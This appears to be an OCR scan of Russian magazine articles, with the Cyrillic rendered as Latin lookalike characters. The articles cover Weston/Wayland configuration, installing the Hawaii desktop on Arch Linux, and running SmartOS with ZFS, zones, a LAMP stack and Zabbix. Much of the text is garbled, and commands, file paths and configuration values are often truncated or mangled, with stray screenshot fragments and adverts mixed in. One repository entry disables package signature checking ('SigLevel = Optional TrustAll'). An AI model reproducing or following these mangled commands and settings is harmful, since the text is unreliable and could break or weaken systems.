Apyrwe ero bo3mo>khocti/i moxho c noMOLMbio KOHct)Mra (-/.config/weston.ini): 

[core] 

# BK/iK)HaeM noflflep>KKy XWayland 
modules=desktop- shell . so, xwayland . so 
[shell] 

# Mei-meM o6on 

background-image=/nyTb/Ao/M3o6pa>KeHMfl . jpg 

# Mei-meNi uBeT naHeyiM 
panel -color=0x90ff 0000 

# MeHfleM 34>(j)eKT OTKpblTklfl OKOH 

animation=zoom 
[keyboard] 

# BK/ironaeM pyccKyro pacK/iaflKy c nepeK/noneHMeM 

# no Caps Lock 
keymap_rules=evdev 
keymap_layout=us J ru 
keymap_loptions=grp : caps_toggle 
[launcher] 

# flo6aB/ifleM Firefox b naHe/ib 3anycKa 
icon=/usr/share/icons/hicolor/24x24/apps/firefox. png 
path=/usr/bin/firefox 
[screensaver] 

# XpaHMTe/ib BKpaHa 




INFO 

ripn )Ke/iaHMM 
Wayland mo>kho 
3anycTMTbAa)Ke 

b Android , ajih nero 
npeAycMOTpeHa 

npoc/iotka coBMe- 

CTMMOCTM BMAeOA" 

paMBepoB libhybris . 




INFO 

AJifl3anyci<a GNOME 



pat n=/usr/iiDexec/wesTon- screen saver 
duration=600 



Hto KacaeTca Hawaii, to ero yciaHOBKa npow3BOAHTCfl TaK: 
1 . AodaBjmeM b KOHc{)i/ir /etc/pacman.conf aneAyiOLu>ie ctpokm: 



noAynpaB^eHneM 
Wayland cjieayeT 

MCnO/lb30BaTb KOMaH- 

Ay gnome-session 
--session=gnome- 
wayland. 



[hawaii] 

Server = http://archive.maui-project.org/. 

archlinux/$repo/os/$arch 

SigLevel = Optional TrustAll 



2. 06H0BjifleM MHfleKC peno3MTopneB v\ naKeTOB: 



$ sudo pacman -Sy 



3. YcTaHaBJiMBaeM Hawaii rmioc MeHeA>Kep Jiorwna SSDM, 6pay3ep QupZilla m IRC-KJii/ieHT 
Communi: 



$ sudo pacman -S hawaii-meta-git - 

communi-desktop-git qupzilla-qt5-git sddm-qt5-git 



4. 3anycKaeM Hawaii (b w<cax n/in M3 ro/ioui kohco/im, npn6nB MKCbi): 



$ /opt/hawaii-git/bin/hawaii 



TaKxe MoxeT noTpe6oBaTbca npMHyAMTejibHaa ycTaHOBKa naKeia icu: 



$ su do pacman -S icu 



wcton - LilyTer» 



GL_OES_texture_npot GL_OES_EGL_ image GL_OES_depth_texture 



GL.OES 
GL.OES 
GL.EXT 
GL_NV_ 
GL.OES 
GL.HNG 
GL EXT 
GL.EXT 
GL.OES 

[12:29:13.0161 uarnin 
[12:29:13.9163 GL ES 
read-b 
ul_shm 
EGL Ua 

[12:29:13.016] xll ou 
[12:29:13.016] Loadin 
[12:29:13.016] Compos 
arbitr 
screen 

[12:29:13.016] libuay 
[12:29:13.032] launch 
[12:29:23.988] libuiau 
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JlmfPlocalhost : /home/j 1 m 



[ | lm(jloc«lhost -]$ weston 
weston 

weston-cal Ibrator 
weston. clickdot 
weston-cllptest 
wet. Ion dud 
wcston-edltor 
weston-eventdemo 
weston-f lower 

I J lmrjlotdlhosl -1$ weston simple egl 
has Ff.l _FXT_huf fer_aqr and Ff.l _FXT_swap_buf f prs_wlth_dam.igr 
302 frame* In b seconds: bO.«o5o02~fps 

60.200001 rps 
60.200001 Ips 
59. 799990 fps 
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FullSCI sen 


weston 
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luge 
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weston 


info 


weston 


weston 


launch 


weston 


weston 


mulli resource 


weston 


weston 


reslror 


weston 


weston 


scaler 


weston 


weston-simple-egl 


weston 



simple slim 

simpi e> touch 

smoke 
stacking 
subsur faces 
terminal 
transformed 
view 



301 frames in 5 seconds: 

301 frames in 5 seconds: 

799 frame* in 5 seconds: 



Weston, 3anyLueHHbiM noBepx hkcob b Arch Linux 



BMECTO BblBOAOB 

Wayland yxe totob A-na Toro, HTo6bi OKOHHaTe/ibHO ompaBHTb hkch Ha noMOMKy mctopmm. 
Oh npocT, OTBenaeT coBpeMeHHbiM Tpe6oBaHi/iHM m jii/iiueH orpoMHoro KOJii/inecTBa My- 
copHoro KOAa, OAHaKO b 6/inxaMLUMe rmTb nei Mbi, CKopee Bcero, He yBi/iAUM no/iHoro H3- 
6aB/ieHi/ifl AncTpn6yTMBOB otX Window. OneHb MHoro pa6oTbi ein,e npeACTOnT CAe-naTb, 

HT06bl nOpTMpOBaTb CTapbIM, HO HyXHbIM COCj)T. JL 
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l/lCnOJ1b3yEM SMARTOS 
J\T\9] nOCTPOEHM^l 
HA^EXHOM 

l/l nPOMSBOflMTEJIbHOI/l 
MHOPACTPyKTYPbl 



SmartOS — oflHa v\3 bgtbgi/i AepeBa, pacTymero 1/13 Kop- 
hgi/i nereHAapHOM OC Solaris. HecMOTpa Ha 3K30Ti/iHHyrO 
«poflOCJiOBHyfo», 3Ta njiaTc[)opMa aKTi/iBHO pa3Bi/iBaeTC£ 
v\ yxe ceroflhm no3BO/iFiGT flo6i/iBaTbcn BbicoKOi/i CKopo- 

CTM paSOTbl 1/1 BHeflP^Tb HeKOTOpbie (JJULUKI/I, HeflOCTyn- 

Hbie b 6onee npi/iBbiHHOM Linux. 3Ta CTaTb^ paccKa3biBa- 
eT o HaLueivi onbue pa6o~rbi co SmartOS. 



BBEAEHME (KAK SI Y3HAJ1 flPO SMARTOS) 

B KOHu,e 2012 roflay Mei-m Ha npoeKTe HexBaTa/io JS-nporpaMMepOB Arm M3yHGHi/i?i Node, 
js. M a peniMji BOcnojiHMTb npo6e/i caMOCTO^Te/ibHO. l/l3ynmi (J)pefiMBOpK, Hannca/i «Hello 
world» m Aaxe homhoxko 6ojibiue, Beflb Ha Node.js ocHOBaH ^hagkcobckhm MHCTpyivieH- 
Tapi/iM fl/ia pa6oTbi no MeTOAO/iori/in BOM, KOTopbiPi mn 3axoTejiw ncnonb30BaTb b tom 
npoeKTe. A Korfla hto-to 6epeujb atih CBoero npoeKTa, sto noHTM BcerAa HyxHO naTHi/rrb... 
Ho penb noMAeT o APyroM. 

riOCMOTpeB, KTO OCHOBHOM CnOHCOp P33BI/1THR Node.jS, 9\ y3Ha/1, HTO 3T0 KOMnaHl/lfl 

Joyent, KOTopaa b tom nnc/ie pa3BMBaeT npoeKT SmartOS — o6naHHOM onepau,noHHofi 
cucTeMbi. CHanana 9\ noAyMan, hto SmartOS — sto KaKaa-TO cneu,nanbHaa OC, moaucJdm- 
UnpoBaHHbiM nnHyKC, noA KOTopoPi oco6eHHO xopoiuo xMBeT Node.js. Ho KorAa n noni/nun 
no6o/ibLue, MeHfl nocTwr Ky/ibTypHbiM luok! 

OKa3anocb, hto SmartOS — sto noTOMOK OC OpenSolaris, KOTOpaa 6bi/ia noxopo- 
HeHa KOMnaHkiePi Oracle, Kyni/iBiueM Sun Microsystems b 2010 roAy.-- HaAO OTMeTHTb, 

HTO C AeBflHOCTblX TOAOB 6bl/l nOKflOHHMKOM Sun. ElAe AO nOflB/ieHMfl JlMHyXOB Becb 

poyTMHr b Moew KOMnaHMM, KOTopaa npoAaBana dial-up AOCTyn b MHTepHeT, KpyTn/icfl 
Ha FreeBSD. A mchtom 6bm KaKOM-Hn6yAb SparcStation noA Solaris8. TorAa 3th cucTeMbi 
6bmn HecoMHeHHbiMn jiMAepaMM Ha KOMMepnecKOM pbiHKe cepBepoB v\ cepBepHbix OC. 
I/I HaAO CKa3aTb, He 3pa. CucTeivia AewcTBHTe/ibHO 6bma HaAexHaa, a nHxeHepbi b Sun 
pa6oTajin oahm M3 jiyHUJMx b Mwpe. 

Korfla b 2005-m Sun OTKpbma koa Solaris, a noflyivian, hto HaKOHeu, b Mi/ipe MOxeT no- 
^BMTbca hto-to MOLflHoe, anbrepHaTMBHoe /iHHyKcy. flaxe 3aKa3an Ha Aivia30He KHHXKy 
OpenSolaris Bible (3aneM? Beflb ecTb MHTepHeT). 

Ho b cuny opraHM3au,MOHHbix npunnH i/i h6bo3mo>khoctm npeofloneTb KOMMepnecKne 

JlMU,eH3MOHHbie OrpaHMHeHHfl, K KOTOpbIM BCe npMBblK/lH, CMCTeMa pa3BMBa^acb n/ioxo. 

M b KOHu,e KOHU.OB Oracle ee 3aKpbma. 9\ Torfla noflyivia/i: xa/ib, on$rrb b Mupe MCHe3.no hto- 
to xopoLuee. 

Tenepb Bbi nowivieTe mom nyBCTBa, Korfla cnycTH 6onee neM flBa rofla nocne 3aKpbi- 
TMfl OpenSolaris n y3Ha/i, hto flocTaTOHHO KpynHaa cJwpMa pa3BHBaeT stot koa. OHa Ha- 
HH/ia ajih 3Toro SbiBLunx MHxeHepoB Sun, xoTb m He Bcex. A TaKne TexHonoruM, KaK ZFS 
m DTrace, npoAonxaiOT pa3BHBaTbca, b tom nuc/ie mx co3AaTenaMM, KOTopwe pa6oTafOT 
yxe b He Oracle, a b Apyrwx KOMnaHM^x. MeHH sto 6bmo cpaBHMMO c paAOCTbio, koto- 
pyio McnbiTbiBaenib npn B03poxAeHMM H3 nenna nero-TO xopoujero v\ npeKpacHoro! 

9\ norpy3M^ca b HTeHi/ie npo SmartOS m CTan nrpaTbca c new. 



HEMHOrO MCTOPMM 

B aBrycTe 2010 roAa b Oracle pewnnn npeKpaTMTb pa3BHTi/ie npo- f / \\ 

eKTa c OTKpbiTbiM koaom OpenSolaris v\ cocpeAOTOHHTbca Ha pa3- I f | 1 

pa6oTKe SolarisExpress c 3aKpbiTbiM koaom. Cpa3y BcneA 3a stmm V V / / 
cooSmecTBO HG3aBMCMMbix i/iHxeHepoB, paHee pa6oTaBLUMx b Sun 
Microsystems, 3anyc~rn.no npoeKT c OTKpbiTbiM koaom illumos, 

KaK cfjopK ^Apa M3 npoeKTa OpenSolaris. ripn gtom pa3pa6oTHMKM WWW 

illumos He CTaBHT nepeA co6om 3aAany Ae/iaTb no/iHbiM AncTpn6y- o^MUMajibHaa cTpamma 

tub, 3tmm 3aHMMaKDTC5i npoeKTbi SmartOS, Nexenta OS, OmniOS, iuig cKaHMBam/i^ SmartOS 

BeleniX, Openlndiana i/i Apyrne. 

^ - MHCTPVKLWfl no3ann- 
OAHOBpeMeHHO M3 Oracle CTa/in yxoAHTb MHxeHepbi, ctohb- e ~ *nc 

CbiBaHnto ornariuo 

nine y mctokob T3KMX TexHO/iori/iM Hana/ia AByxTbicflHHbix toaob, Ha^eiuKy 
KaKZFS, DTrace, Zones, — BpawaH KaHTpujyi (Bryan Cantrill), AAaM 

/leBeHTa/ib (Adam Leventhal),A3MBnaHeK0 (Dave Pacheco),Bp3H- Ta6jiMua cootbbtctbmm^ 
,1 _ % ' . ma tn .. . -v KOMaHii Linux h SmartOS 

AaH Tperr (Brendan Gregg), PooepT MycTannn (Robert Mustacchi) 

m APyrne. MHnunaTopoM npoeKTa illumos CTan rappeir fl'AMop 

(Garrett D'Amore). 

IvlHorne M3 AncTpn6yTMBOB pa3BMBaK)TCfl OTAe/ibHbiMM KOMnaHM^MM — Joyent, 
Nexenta, Delphix m APyruMM. TaM, KaK npaBi/mo, ecTb oahh mjih HecKO/ibKO ne/iOBeK, pa- 
Hee pa6oTaBLu mx b Sun hjim hmcbllihx OTHOLueHne k 3tom 3KocncTeMe. B HacTOflmefi CTa- 
Tbe Mbi noroBopuM o SmartOS — AncTpi/i6y~n/iBe illumos, co3AaHHOM Rnn ynpaB/ieHMH 06- 
naHHbiMM ycnyraMM. Pa3BMBaeT SmartOS cewnac KOMnaHi/m Joyent, 3aHMMaK)Lu,aa 8-9-e 
MecTO Ha aMepuKaHCKOM pbiHKe o6nanHbix laaS-yonyr. 




Git in Sky 

TUWIM6 YOUR INFRASTRUCTURE 



GIT IN SKY 



KoMnaHHfl Git in Sky npeAOCTaB/meT ycnyrn no onTH- 
MM3au,nn, HacTpotiKe m noAAepxKe cepBepHbix cm- 
CTeM, nocTpoeHHbix Ha 6a3e Open Source Software. 

BOJlbLUOM OnblT M KOMneTeHU,Mf1 MHxeHepoB, KOTOpbie 

co6panncb b Git in Sky, no3BO/~fleT HacTpoi/iTb pa6o- 
Ty Baujux cepBepOB Ha MaKCMMa/ibHOM ypOBHe coot- 

HOLUeHMq 3Cj)Cj)eKTMBH0CTb/CT0MM0CTb. 

Mbi jiio6um peiueHMa Ha SmartOS, TaK KaK 3Ta 
OC no3Bon^eT Ao6nTbca MaKCMMyMa npon3BOAn- 
TenbHOCTH Be6-npnnoxeHMM h cepBMCOB, ho pa6o- 
TaeM c /iio6biMM Open Source ci/iCTeMaMM, nocTpo- 
eHHbiMM Ha /iK)6bix AHCTpn6yTMBax Linux. 



rpysnMcq c o/ieuikm, paeotaem M3 iiamsitii 

B neM xe coctoht ocHOBHbie OT/iMHua SmartOS ot «o6biHHbix» onepau,MOHHbix cucTeM? 

HaBepHoe, nepBoe, o neM ctout CKa3aTb, — sto OTcyTCTBue CMCTeMHbix cfjaPinoB 
OC Ha noKa/ibHOM A^CKe. SmartOS 3arpyxaeTCfl c cJ)^eLUKM mii/i no ceTM i/i 3aTeM u,enn- 

KTiM nflr.nnnaraPTra r nayan/i npnRPna Ha ni/irKP HavnnaTra mn^n nanm-.ip fofSkii-ii-in 



AaHHbie Bi/ipTya/ibHbix ManinH). TaKoe cbomctbo no3BormeT cucTervie oneHb 6biCTpo pa6o- 
TaTb b CBA3M c OTcyTCTB m e m AMCKOBbix onepau.ni/i, ho, KOHeHHO, u,eHOM 6onee AnHTe^bHO- 
ro BpeivieHM 3arpy3KM m yc/ioxHeHHbiM MexaHM3MOM «3anoMHHaHna» nonb30BaTe.nbCKMx 
AaHHbix cepBepa — ero aApecoB, KOHcf)Mrypau,MM m nponero, hto aoji>kho HacTpanBaTbca 
npM 3arpy3Ke OC. 

B~ropoe BaxHoe OT/iMHne — BCTpoeHHbiPi MexaHi/i3M BnpTyajin3auwn, ocHOBaHHbiPi 
Ha KOHTeMHepHOM TGXHonorMM. B Apyrux OC pj]9\ BnpTya/iM3ai4MM Tpe6yeTC^ Aono/iHM- 
Te/ibHoe no rnnepBM3opa. KoHTeMHepHaa Bi/ipTyajiHsaui/ifl no3BO.rmeT n36exaTb Aono/i- 
HMTe/ibHoro cnon rnnepBH30pa. UJupOKaa cucTGMa pa3Ae/ieHna npaB, npucyTCTBOBaB- 
Luaa b SolarislO m OpenSolaris, no3BO/inna co3AaTb TexHO/iorwio Zones, 6/iaroAapfl eft 
BMpTya/ibHaa ManiMHa ynpaBTmeTca tom xe caMOM OC, KOTopaa ctomt Ha bcgm cepBepe. 
3to noxoxe Ha OpenVZ n Virtuozzo Containers, ho wvieeT coBepweHHO Apyrne h 6onee 
mySoKne kophh, yxoAflm.no b ceMetfcTBO SunOS, pa3BHBaBi_ueecfl c BOCbMMAecflTbix — 

AeBHHOCTblX toaob. 



0cj)ni4na/ibHbm 
caPiiSmartOS 



Why SmartOS? 



SmartOS is a hypervisor 
lean enough to run entirely 
in memory, powerful 
enough to run as much as 
you want to throw at it. 
Provisioning is blindingly 
fast, thanks to /ones and 
ZFS file system creation. 



Scale as fast and big as you need 
Trust it to keep your data safe 

Keep your system secure with "double hulled" virilization 
Rely on It 

Use and extend freely, it's open source 
Manage resources better 

See what's going on throughout the software stack, in real ti 



TpeTbe BaxHoe OT/iMMne — 3to c^aiAnoBaa cucTervia ZFS, ncno/ib3yeMaa KaK ocHOBHaa. 
Pacci<a3 o ZFS Tpe6yeT OTAe/ibHOM 6onbLU0M CTaTbM. 3Aecb a CKaxy Jimiib, hto 3Ta 0ai/i.no- 
Baa CMCTervia HeceT b ce6e 6o/ibLuoe KonHnecTBO BbicoKoypOBHeBbix c^yHKUHM v\ no3Borm- 
eT c TierKOCTbK) o6pam,aTbCfl c o6pa3arviM BnpTya/ibHbix MaujHH — Koni/ipya n pe3epBnpyq 
nx oneHb ™6ko. Kporvie Toro, ZFS i/irvieeT b CBoew ocHOBe npuHunn copy-on-write, koto- 



pbiM no3BO/ifleT oneHb 3<t>c{)eKTHBHO xpam/iTb pe3epBHbie Konnn AaHHbix, 3aHi/iMaa mhhh- 
MyM c|)M3MHecKoro auckoboto npodpaHCTBa. TaKxe moxho Ae/iaTb oneHb 6biCTpo m MHoro 
snapshots (MOMeHTa/ibHbie «chmmkh» nanoK (fjaPmoBoPi cucTGMbi), A-na pa3Hbix u,enei/\. 

B/iaroAapa molahomy ypobhkd ceieBOM BMpTya/iM3au,MM mo>kho co3AaBaTb BnpTya/ib- 
Hbie nopTbi npaKTunecKM b HeorpaHMneHHOM KO/iMHecTBe, BMpTya/ibHbie ceTM MexAy Bi/ip- 
Tya/ibHbiMM MaujMHaMM, ocyi±],ecTBJiflTb poyTMHr, 4)MnbTpau,MK) naKeTOB m ivmoroe APyroe 
Ha oahom 4>M3MHecKOM i/iHT6pcJ)6Mce. 3Ta TexHonornfl no3BonaeT co3AaBaTb onoxHbie 
ceTeBbie apxnTeKTypbi c pa3HbiMM pojihmh m npaBaMn BnpTya/ibHbix cepBepoB BHyTpn 
OAHoro cJ)M3MHecKoro cepBepa! 

C TAB MM CMCTEMY HA CEPBEP 

B KasecTBe cepBepa, Ha KOTopbiM Mbi pewnm/i nocTaBMTb TecTOByio BepcnK) SmartOS, Mbi 
ncno^b30Bann MaujHHKy ASUS RS720-E6/RS12. B KasecTBe auckobom ci/iCTeMbi b cep- 
Bepe 6biJio ycTaHOB/ieHO neTbipe AncKa no 2 T6 v\ neTbipe SSD no 225 l~6. fl/ia Hasa/ia 
Mbi HacTpOH/iM Ha annapaTHOM RAID jiorHHecKne aucki/i RAID 0, KOTOpbie 6bmn paBHbi 
c()M3MHecKMM, — to ecTb Mbi nanyHnni/i BoceMb nori/iHecKMx auckob, KOTopbie nepe3 BIOS 
OTAaBa/incb Ha ypoBeHb OC. ZFS xopoujo yMeeT KeuiMpoBaTb, nooTOMy jiyHLue OTAaBaTb 
ev\ (Jdm3mhgckmg auckm, 0AH3K0 b onynae Dell ero annapaTHbiPi RAID OKa3a/iCH 6onee npo- 
M3BOAHTe/ibHbiM. Ec/im yTe6a ecTb BpeMH M3MepMTb ABa BapuiaHTa a/ih CBoePi cucTeMbi — 
nyHLue M3MepnTb. 

KanaeM caMbiM CBexMM o6pa3 cucTeMbi c o4)nu,na^bHoro caMTa, TaM HyxHO Bbi6paTb 
tbom BapwaHT o6pa3a. B HaiueM c/iynae 3to 6bin USB Image, KOTopbM Mbi 3ani/icann 
Ha cjDneujKy no nHCTpyKi_i,i/in. BcTaB/meM ctxneiuKy b cepBep n yi<a3biBaeM b BIOS, hto rpy- 
3i/iTbCfl Ha ao MMeHHO c Hee. 

rioc/ie 3arpy3KM ci/icTeMa cnpaiuHBaeT Hac MMeHa auckob, KOTopbie HaAO noAK/iiOHMTb 
k ZFS, ceTeByio KOHcfjurypaunio h npocuT BBecTM hmh MaiunHbi. 3a6aBHO, hto nocne 3a- 
rpy3KM Tbi CMOxewb bomtm noA root He c TeM naponeM, KOTopbiM Tbi ciona/i b AncTpn6y- 
TMBe, a noA naponeM root. Hy Bee, cucTeMa ctomt, Tenepb mokho nocMOTpeTb, KaK ckoh- 
ct)nrypnpoBaHbi auckm, npw noMOinn KOMaHAbi zpool status h HacTponTb mx HeMHoro 
no-ApyroMy, a/ih /lyniueM npon3BOAHTe/ibHOCTM. TaK, Bee SSD-auckm, KOTopbie y ie6n 
ecTb, HyxHO OTAaTb noA Keiu npH noMomn KOMaHAbi, aHanorMHHOM npuBeAeHHOM HMxe, 

HO C TBOMMM MMeHaMM AUCKOB! 

# zpool create pool c0d0 cld0 cache c2d0 c3d0 

Ecjim hto-to He 6yAeT no/iyHaTbca, o6paLu,aMca k MaHya/iaM :). A ecnn hto-to coBceM 
He 6yAeT nojiynaTbCfl — o6paLAaMca k HaM. 

BnpTya/iKM co3AaiOTca npn noMOLu,n KOMaHAbi vmadm, ceTeBbie HacTpOMKM MeHHiOTCfl 
npw noMOLAM dladm n ipadm. Bee KOHcJ)i/irypau>ioHHbie nporpaMMbi oneHb MomHbi, HacTpo- 
MTb mo>kho npaKTunecKM ziio6yio cnoxHyio KOHct>w~ypau,nio M3 BnpTyanoK, cneu,ncJ)M4ecKM 
coeAHHeHHbix MexAy co6oPi pa3HbiMM ceTeBbiMM coeAHHeHM^MM. 



GNU GRUB version 0.97 (638K lower / 1046464K upper MeMory) 



Live 64-bit (text) +kMdb 
Live 64-bit (ttya) +kMdb 



Live 64-bit (ttya) 



Use the t and -l keys to select which entry is highlighted. 
Press enter to boot the selected OS, 'e' to edit the 
coMMands before booting, or 'c' for a coMt-iand- 1 ine . 



3arpy3MMK SmartOS 

A KAK HACHET CTAHflAPTHOTO LAMP? 

KaKOMyHac caMbiM pacnpocTpaHem-ibM web stack? npaBHJibHO. Apache — PHP — MySQL. 
riocMOTpuM, KaK oh CTaBi/iTCH b Bi/ipTya/iKy noA SmartOS m KaK pa6oiaeT. Co3A3Ahm ho- 
ByK) BnpTya/ibHyK) Mawi/my: 



JJllM»M^Bjlt^7lllEMlMlI=f*M«JI 



B <$>ai/\ne newmachine.json Haxc-AHTCfl oni/icai-me JSON HanieM BkipTya/iKw: 




ii 



B pea/ibHoPi KOHct>nrypau,nn peKOMGHflyK) 3aivieHMTb hostname, resolvers h IP Ha tbom. 



Okho JiornHa b SmartOS 



I .-. . . .-. : — . I- 
; I II I ( .-' I II 

/ Joyent Liue Image U0.147 + 
build: 20120823T2153302 



)0-0c-29-6c-22-8a uscons login: _ 



WARNING 

He noKynaw AeiueBbie 
(J)^eiuKMA/ifl npoAaK- 
iueHa! ilyniue Kynmb 
HopMa^bHyio: OHa 6yaeT 
CTOflTb b Ten/iOM/ropflneM 
cepBepe. Y mow oflHa TaK 
yxe crope/ia, KorAa a nbi- 

TaJlCfl 06H0BMTb ee HOBbIM 

o6pa30M no. 



B KanecTBe o6pa3a Mbi Bbi6pa/in npaKTWHecKH «nycTyio» 64-6m~Hyio cucTeMy SmartOS. 
Co3AaHne ManiMHbi nponcxoAHT 3a HecKO/ibKO ceKyHA, nocne nero b Hee moxho 3a/iorn- 

HMTbCfl M3 mo6a^bHOM 30Hbi: 

# zlogin myvm 

Tenepb HaM HyxHO ydaHOBHTb Apache v\/v\nv\ nginx, PHP, MySQL/percona. B KanecTBe 
MeHeflxepa naKeTOB b SmartOS ncno.nb3yeTCfl nporpaMMa pkgin: 

// Q6HOBJi^eM criHCOK naKeTOB 

# pkgin -y up 

// MuieM HawH naKeTbi 

# pkgin av | grep "\(percona\ | apacheX | php\)" 

B cnwcKe 6yAyT naKeTbi HecKonbKwx nooneAHMx BepcMM. Bbi6epeM HyxHbie m ycTaHOBMM: 



# pkgin in apache-2.2 php-5.4 ap22-php54 
percona-server 



3aTeM HyxHO yciaHOBHTb Heo6xoAHMbie 6n6/inoTeKn A-na PHP (ohm pa3Hbie pj\9\ pa3Hbix 
Abmxkob, HOTe, hto Huxe, o6biHHO ycTaHaB/ii/iBafOTCfl BcerAa, o6pa~mcb k AOKyMeHTau,nn 
TBoePi PHP-nporpaMMbi): 



cepBe 
able p 



MIP- 



# /opt/local/bin/ mys qladmin -u root -p pas; 

// nporoi-meM CKpunT 6e3onacHOM ycTaHOBKM 

# /opt/local/bin/rnvsal secure installation 



ir new 



;wor( 



3aTeM co3AaBaPi hobvkd 6a3y n 3arpyxaM Tyqa AaHHbie, iok b o6biHHOfi MySQL. Ranee 
HacTpai/iBaeM Apache: 

# vim /opt/local/etc/httpd/httpd. conf 

KaK Tbi yxe noi-m/i, Bee HacTpoMKi/i jiexaT b /opt/local/etc. AyMaK), hto HacTpauiBaTb 
Apache yivieiOT Bee. Xony Jiwjjb HanoMHMTb, HTo6bi Tbi He sadbi/i 3arpy3MTb MOAY-nb PHP: 

LoadModule php5 module lib/httod/mod php5.so 



AddHandler application/x-httpd-php .phi 



floc/ie M3MeHeHMM c^awia KOH(J)MrypaiJ,MM nepe3anycKaeM cepBuc: 



Tenepb HacTpomvi PHP: 



# vim /opt/local/etc/php. ini 



KaK MMHMMyM HyxHO nponncaTb b KOHcjDnrypau.MM Hanin pacujupeHMfl: 



extension=mysql . so 
extension=mysqli . so 
extension=curl . so 
extension=icQnv. so 
extension=mbstring . : 
extension=dom . so 
extension=gd.so 



V\nv\ hto TaM y Te6a euj,e ecTb... He 3a6yAb 3acTaBMTb Apache nepennTaTb hobykd kohcJ)i/i- 
rypau,MK) PHP: 



# svcadm refresh apache 



ucTa/iocb no/ioxHTb b aocumeni rooiTBOM KOHieHT, n canT moxho cMOTpeib b opay3epe. 
Ecni/i tbom cepBep wcnonb3yeT SSD v\ Tbi HacTpown Keuj ZFS Ha HeM, to M3MepeHna cko- 
pocTM 3arpy3KM CTpaHMu,, CKopee Bcero, npn^THO Te6a yamb^t. 

KcTaTM, fl/ifl Toro, HTo6bi nocMOTpeTb npou,eccbi b SmartOS, ncnonb3yeTCfl KOMaH- 
Aa prstat. 3to aHanor top b Linux. A ec/in HHTepecyeT Ta6jiMu,a cootbgtctbi/ih KOMaHA 
SmartOS m Linux, ee moxho Haft™ no ccbi/iKe b INFO. 



SmartOS Setup 
Uerify Configuration 



'erify that the following ualues are correct 

IAC address: 0 :c =29 :6c = 22 :8a 
P address: 192 . 168 . 1 . 158 
letnask: 255 . 255 . 255 . 0 

iateway router IP address: 192.168.1.1 

INS seruers: 8.8.8.8,8.8.4.4 

lefault DNS search domain: 192.168.1.1 

ITP seruer: pool.ntp.org 

lomain name: dnz.com 

!s this correct? [y]: _ 



http ://wiki .smartos . org/instal 1 



KoHc|)nrypMpoBaHMe SmartOS 
C TAB MM ZABBIX 

KoHenHO, ec/iM y Te6n ctoht BMpTya/ibHbie cepBepbi v\ hto-to Ae/iaK)T, mmggt CMbicn 3a- 
nycTMTb Ha hmx mohmtopmht. Oahh M3 caMbix nonyrmpHbix naKeTOB MOHMTopMHra Zabbix 
npeKpacHO CTaBMTca Ha SmartOS. Kanaeivi nocneAHioio BepcuK) Zabbix b /opt/local/src: 

# mkdir -p /o pt /local/src; cd /o pt/local/src 

# wget httD://sourceforge.net/proiects/zabbix/files/ZABBIX%20Latest%20Stable/<H 



2. 0.6/zabbix- 2. 0.6. tar .gz /download 

# tar xzvf zabbix-2.0.6.tar .g z 

Tenepb HaAO CKOMnnnwpoBaTb mcxoahmkh. He 3a6yAb nocTaBMTb GCC, ecnn oh eme 
yTe6a He nocTaB/ieH: 

# pkg in in gcc47 

3aTeM HyxHO CKOHcfwrypHpOBaTb naKeT. Tbi Moxeuib CKOHcfjurypupOBaTb cepBep n areHT 
OAHOBpeMeHHO, a Moxewb CKOMnnnnpoBaTb mnbKO cepBep nnn mribKO areHT. Bbi6op 
3a to6om. Mbi KOMni/ini/ipoBa/iM m to m APyroe. 



# cd zabbix-2.0.6 



[•WlinUMiW 



I'jjf^j *i +3 ore 1 1 



Ecjim He 6bmo ollih6ok, KonwpyeM CKOMnnni/ipoBaHHbie 6nHapHHKM b MecTO hx Ha3Hane- 



HH!R! 



HaAeiocb, KOMnmiflu,Mfl npouj/ia ycneiuHO m Tbi Moxeiub npi/iCTynn~rb k KOHc|)i/irypaiJ,noH- 
HbiM caMTaM Zabbix (o6paincb k canTy Zabbix, ecni/i Heo6xoflMMo). 

1 . Co3AaM nojib30BaTe/ifl v\ rpynny: 




3. OTpeAaKTupyPi KOH(J)nrypaukiOHHbie 4>aM/ibi. Mbi npeAno/iaraeM, hto areHT i/i cepBep 
Zabbix HaxoAflTca Ha oahom BHpTyajiKe. Eonn sto TaK, to KOH(J)nrypaiJ,i/ifl 6yAeT cneAy- 
\ou\eiA. CoAepxaHne (f>aPi.na /opt/local/etc/zabbix_agentd.conf: 



LogFile=/var/l( 



;rverActive=127, 



OdaBb ocTa/ibHbie napaivieTpbi no yMO/inaHMK). A coAepxaHi/ie /opt/local/etc/zabbix 
server.conf 6yAeT TaKi/iM; 



LogFile=/var/log/zabbix/server . log 

DBName=zabbix 

DBUser=<your_user_with_acess_to_zabbix_db> 



■ ■ •] ^ l\ t« m vii i ■ t=r*»j pwvi i •! v.w-i^ i 



# LD_LIBRARY_PATH=/opt/local/lib zabbi x_agentd 

nepeivieHHbie OKpyxeHMH LD_LIBRARY_PATH Heo6xoAHMbi Jii/160 3A0Cb, /im6o npn kom- 
nmifli_i,i/ii/i (npeAnoHTHTejibHee). KOMnn/inpoBa/i 6e3 hmx, nosroMy moa i/iHCTa/uiflUMfl 
He pacno3HaeT 6n6/inoTeKy iconv, KOTOpaa HaxoAHTca b nanKe /opt/local/lib. riosTOMy 
q ncno/ib3yK) nepeMeHHbie OKpyxeHi/ifl. 

5. Tenepb npuLuno Bpeivm CKonnpoBaTb cfeaCinbi MHTepqbewca Zabbix (.php) b nanKy AOKy- 
MeHTOB TBoero Be6-cepBepa: 

# mkdir <htdocs>/zabbix 

# cd /opt/local/src/ zabb ix-2.0.6/f rontends/php 

# c p - a . <h tdoc s>/z abbix 

Ec/im tbom Be6-cepBep 6bm HacTpoGH Ha ncnonb30BaHwe PHP n ero document root cmo- 
tpmt b nanKy htdocs, to Tbi Moxenib npoAO/ixnTb ycTaHOBKy M3 6pay3epa, BBeAfl b aApec- 
hom CTpoKe http://<aApec TBoero cepBepa>/zabbix. J\anhuev\\nv\e MHCTpyKu,Mn Moxenib 
B3«Tb Ha caMTe Zabbix. 

HacTpoPiKa nepe3 Be6-MHTepcJ)eMC AOCTaTOHHo cnoxHa. TeM He MeHee Tbi AO/ixeH 
3HaTb, hto b 3a66nKce ecTb HecKonbKO npeAyciaHOBOK Rnn xoctob Co/mpi/ic, KOTopbie 
AOBO/ibHO Hennoxo pa6oraiOT i/i A-na SmartOS. Bee Aono/iHMTe/ibHoe Te6e npnAeTca Ha- 

CTpOMTb CaMOCTOHTe/lbHO. 
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Linux 
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SmartOS Virtual Instance 


MM My 
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Joyent SmartCXi 

You can nod an open tource version at http vsmartos.org 


Joyent SmartOS zone 


managing users 
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list hardware configuration 


arch 
